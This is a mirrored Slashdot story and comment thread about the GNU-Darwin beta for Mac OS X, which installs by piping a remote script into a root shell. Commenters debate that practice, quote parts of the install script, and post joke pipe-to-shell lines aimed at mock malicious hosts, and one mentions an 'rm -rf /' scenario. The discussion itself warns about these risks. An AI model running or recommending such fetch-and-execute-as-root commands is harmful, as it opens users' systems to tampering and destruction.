Slashdot Mirror

← Back to Stories (view on slashdot.org)

GNU-Darwin Goes Beta

Posted by CmdrTaco on from the now-that's-easy dept.

proclus writes "OSX.1 users can now install the GNU-Darwin base distribution automatically with one command. As Root: "curl http://gnu-darwin.sourceforge.net/one_stop | csh"." This assummes you have curl or wget or something. From there you can install gnome, abiword, gimp or whatever. Looks pretty smooth (although I'm kinda confused how you get back to OSX.1 from there ;)

19 of 150 comments (clear)

  1. gnome over x? by macsox · · Score: 4, Insightful

    i am truly at a loss as to why one would install gnome over os x. i understand the issue of an os being open-source, etc., but you can pick up a $99 pentium box to run gnome, if you're that interested in having it.

    (and what's with this 20 seconds before post rule? does everyone on slashdot think really slowly?)

    --
    go get it
    1. Re:gnome over x? by alfredo · · Score: 4, Interesting

      It gives expanded resources. You can run it rootless so XWindows apps run alongside Aqua apps.

      Steve Jobs knew this would happen. Kind of like Field of Dreams, "If you build it, they will come."

      Here is one screenshotWindowmaker and other goodies

      this one is nice too. a lot going on

      --
      photosMy Photostream
    2. Re:gnome over x? by Chakat · · Score: 3, Informative
      Simplicity and variety, my friend. Instead of having to boot to another OS, you just have to fire up gnome. Plus, there are a few apps, such as the kickass Galeon, which don't run under OSX. More programs is always a good thing.

      And the 20 second rule is to try to discourage crapflooders and trolls. Not very effective, but its something most regular users don't come across (I haven't, at least).

      --

      If god had intended you to be naked, you would have been born that way.

    3. Re:gnome over x? by vanguard · · Score: 3, Insightful

      i am truly at a loss as to why one would install gnome over os x

      I'm surprised nobody else said this; It's let's me run my X apps. As a long time linux user who just switched to OSX I find myself missing gvim, gaim, etc. With X11, I can get these things going again. Now I have the beauty of OSX, the stability of unix (bsd), and the apps of the open source world. I like my apple.

      --
      That which does not kill me only makes me whinier
    4. Re:gnome over x? by Ryan+Amos · · Score: 4, Informative

      Aqua doesn't, however, you can download a rootless X server (http://sourceforge.net/projects/xonx/) that lets you run X apps right along with Aqua apps. The same files are also available on http://macosx.forked.net/ in Mac OS X .pkg files, along with other useful stuff OS X doesn't include, such as ncurses. The window manager, by the way, is whatever window manager you decide to install-- it's just XFree86 ported to a darwin kernel with a rootless option. If you're not running OS X, XDarwin (not XonX) will probably work better for you.. It doesn't have the rootless option, but if you don't have Aqua, you don't really need it. Hope this was of help to some people.

  2. What's so special about this distribution? by Jeremy+Erwin · · Score: 5, Interesting

    I use fink myself. It's sort of a clone of apt-get for OSX. I have octave, gimp, latex, and a host of other applications on my machine. What's the advantage of this "distribution"?

  3. That script is weird... by CoolVibe · · Score: 4, Informative
    It replaces everything with GNU darwin stuff if you run it on Mac OS X. How do they know that doesn't break anything? e.g. GNU ls is different from the BSD type ls Mac OS X has installed default. I think a big YMMV is in place here.

    That said, I'll just download the ISO and free up a partition to run it alongside Mac OS X and Aqua. That way my normal OSX system is guaranteed not to break. My mac is a test machine anyway. I run different operating systems on it depending on what I need to test. I urge everyone that wants to test this on their machine that runs important stuff to BACK UP THEIR IMPORTANT FILES, just to be safe.

    Oh.. another thing: it's BETA. It might break. So be a little cautious, and be prepared to pull up your sleeves and do some work if it breaks, but hey, that's what being bleeding edge is all about, right?

    But anyway: Great work guys! I'll seriously check it out. I'm downloading the iso as you read this comment.

  4. WGET Missing from OS X.1 by Buran · · Score: 3, Interesting
    "This assummes you have curl or wget or something."

    Well, I did have wget in 10.0 up to 10.0.4, but the 10.1 update "helpfully" deleted it from my system. After several annoyed looks and some time spent searching Google, I found a download site for a precompiled binary for wget that will run under OS X (downloads as an installer .pkg file; you'll need to be root or an admin to install it.) The file is, for those who want to get it directly, here (.tar.gz format... use gunzip and tar -xvf to unpack if StuffIt Expander doesn't/can't.)

    If you really, really want to compile yourself (you need to have installed the developer tools, which come with boxed copies of OS X), the source is here.

    Beats me why Apple did this...

    --
    i am a soviet space shuttle
    1. Re:WGET Missing from OS X.1 by TotallyUseless · · Score: 3, Informative

      they did this because wget is gpl, and for whatever reason they saw this as a reason not to include it. After updating to 10.1 the first thing i did was install fink tho, and type 'fink install wget' into terminal. Minutes later i had a fully compiled/working install of wget, waiting to go! Yay fink!

      --

      Time for some tasty Shiner Bock!
  5. This just in... by geomcbay · · Score: 3, Funny

    Matt Dillon falls off his rocker, calls for this project to be renamed BSD/GNU-Darwin.

  6. Um, disturbing by skullY · · Score: 5, Interesting
    Is anyone else highly disturbed by this? Have you read through that csh script? And why csh, there's no black magic there, and at least my copy of osx came with /bin/sh.

    From the script:

    essential_binaries:
    curl -o wget http://gnu-darwin.sourceforge.net/packages/wget
    chmod 755 wget
    cp wget /usr/bin
    rehash
    Erm, so 10.1 comes with curl, which besides providing a library for use in your own programs, also seems to be more unix-like and full featured than wget, with the exception of recursively getting an entire directory tree, which 95% of the time I use wget I'm not doing anyway. This script also doesn't seem to use wget for anything but fetching single files. (Was s/wget/curl -O/ too hard?)

    cd /usr/bin
    mv tar ~
    wget http://gnu-darwin.sourceforge.net/packages/tar
    chmod 755 /usr/bin/tar
    wget http://gnu-darwin.sourceforge.net/packages/killall
    chmod 755 /usr/bin/killall
    Oh boy, here come the first of the unwelcome "improvements." Apple thoughtfull provided not only the bsd tar program, but a binary called "gnutar" as well that seems to support all the options of GNU tar on my linux machines (With the one exception of bzip2 compatability, but that's easily fixed by piping bzip2 output to tar.) And KILLALL, don't forget about one of the single most dangerous commands to get into the habit of using, next to rm -rf. God forbid they have to cat pid files or even use awk to figure out a process id in a one time use shell script. It might make the script ugly.

    *sigh*

    I really do appreciate the work GNU-Darwin is doing, they're filling the few gaps on my osx machine. I just wish they didn't go the extra mile to make my system GNUified. It's not becoming of a nice BSD install.

    --
    When I was able to do my own spam-armoring, you got a chance to email me. Now you can only hope I see your reply.
  7. curl | csh? Danger will Robinson, danger!!! by Mike+McTernan · · Score: 3, Insightful

    curl http://gnu-darwin.sourceforge.net/one_stop | csh

    Erm. Isn't this a bit of a dangerous install strategy? e.g. sourceforge get hacked again and http://gnu-darwin.sourceforge.net/one_stop points to a script that starts with 'rm -rf /'. Not so fun now...

    Wouldn't it be better to use something that does a bit of public key crypto and verifies that you are really downloading something signed by a darwin guy or sourceforge? At least using https would help to stop a man in the middle attack...

    --
    -- Mike
  8. No more security risk than usual by mbrubeck · · Score: 3, Insightful
    The more users get used to seeing installation instructions that involve piping the output of an arbitratory web download into a root shell, the more they'll start to believe that's just the way it's done.

    When's the last time you read the entire Makefile and all external files that it calls, before typing 'make install'?

    This is no different from downloading a tarball with a Makefile inside. You are downloading a script from the net and running it as root. You either check the script yourself beforehand, or you rely on the fact that a reputable party is providing the script and that more paranoid users will be checking it and publicizing any trojans inside (and ruining the reputation of the author).

    The situation I would really warn against is running an unexamined script that isn't provided by a known author, or even worse a compiled binary with no source available. As long as the source is public, it is no different from what Unix admins have been doing for decades every time they install software.

    1. Re:No more security risk than usual by Get+Behind+the+Mule · · Score: 3, Insightful
      When's the last time you read the entire Makefile and all external files that it calls, before typing 'make install'?


      Dunno about you, but when I download a tarball, I sure as hell don't su to root and blast away with 'make install' right after I get it. I read the READMEs and install instructions, read some docs, check out the available install options, and generally have a look around. Then I make the binaries under my usual login account, take a look at the results, and finally 'make install' as root as the very last step.

      Sure I could still get fooled that way, but it does give me a good chance at an informed opinion about whether the stuff I downloaded and will install is indeed what I thought I was getting. And in fact, sometimes I've stopped the process, because the package in question required something for the install that I wasn't willing to do.

      Piping the output of a web page into the C-shell as root is about the most cockamamie idea I have ever seen! And this is in a headline on Slashdot! You've got no chance to decide whether you're installing something legit -- even the most cursory inspection is impossible. Sheesh, if this is what people running Unix boxen are going to start doing, then it won't be long before the Unix world is just as saturated with Code Reds and Nimdas and God knows what-all the Microserfs have to live with.
      --
      Always keep a sapphire in your mind
  9. x86 Darwin by Hostile17 · · Score: 4, Interesting

    Does anyone know if any active development is taking place for the x86 port of Darwin ? I have downloaded it and had look, but it supports very little hardware and if I build a system just for it, I might as well get an iMac and use it in its native platform.

    --
    Fascism should more properly be called corporatism, since it is the merger of state and corporate power - Benito Mussoli
  10. fink == apt-get by mbrubeck · · Score: 4, Informative

    I use fink myself. It's sort of a clone of apt-get for OSX. Minor correction -- fink is not "sort of a clone" of the Debian tools. It is actually a frontend to the dpkg/apt suite, which they ported to OS X. Fink uses the real Debian package management tools and the .deb package format.

  11. Note the actual license on GNU-Darwin-ports by mr · · Score: 3, Informative

    Is actually a BSD license.

    And, on the main page, the license is listed as GPL. http://sourceforge.net/projects/gnu-darwin/

    --
    If it was said on slashdot, it MUST be true!
  12. Other safe, easy installations to run as root: by Nindalf · · Score: 3, Funny

    curl http://madhaxxors.com/0wnZj00 | sh
    curl http://goatse.cx/setwallpaper.csh | csh
    curl http://spamforprofit.org/easymoney.pl | perl
    curl http://microsoft.com/msonly/seekNdestroy | bash

  13. Re:GNU? by Anonymous Coward · · Score: 3, Insightful

    What the shit is this? Are you RMS in the form of a teenager?

    GNU != free

    ...and it sure would be nice if RMS and his commie-butties would quit trying to give such a singular meaning to a word that has so many interpretations within our language.

    It's absurd, I tell you. Websters has it right. There's multiple definitions of the word "free". Therefore, assuming a singular meaning for a term like "free software" is bunk.

    By the way, I find you and your project boring and trollsome. I'm glad you prefixed it with "GNU" so I can toss it into the same loony bin linux belongs in.

    (pre-emptive "fuck you" to the moderator who mods this down - I'm damn right with respect to the word free, don't cover it up with slashtrash points)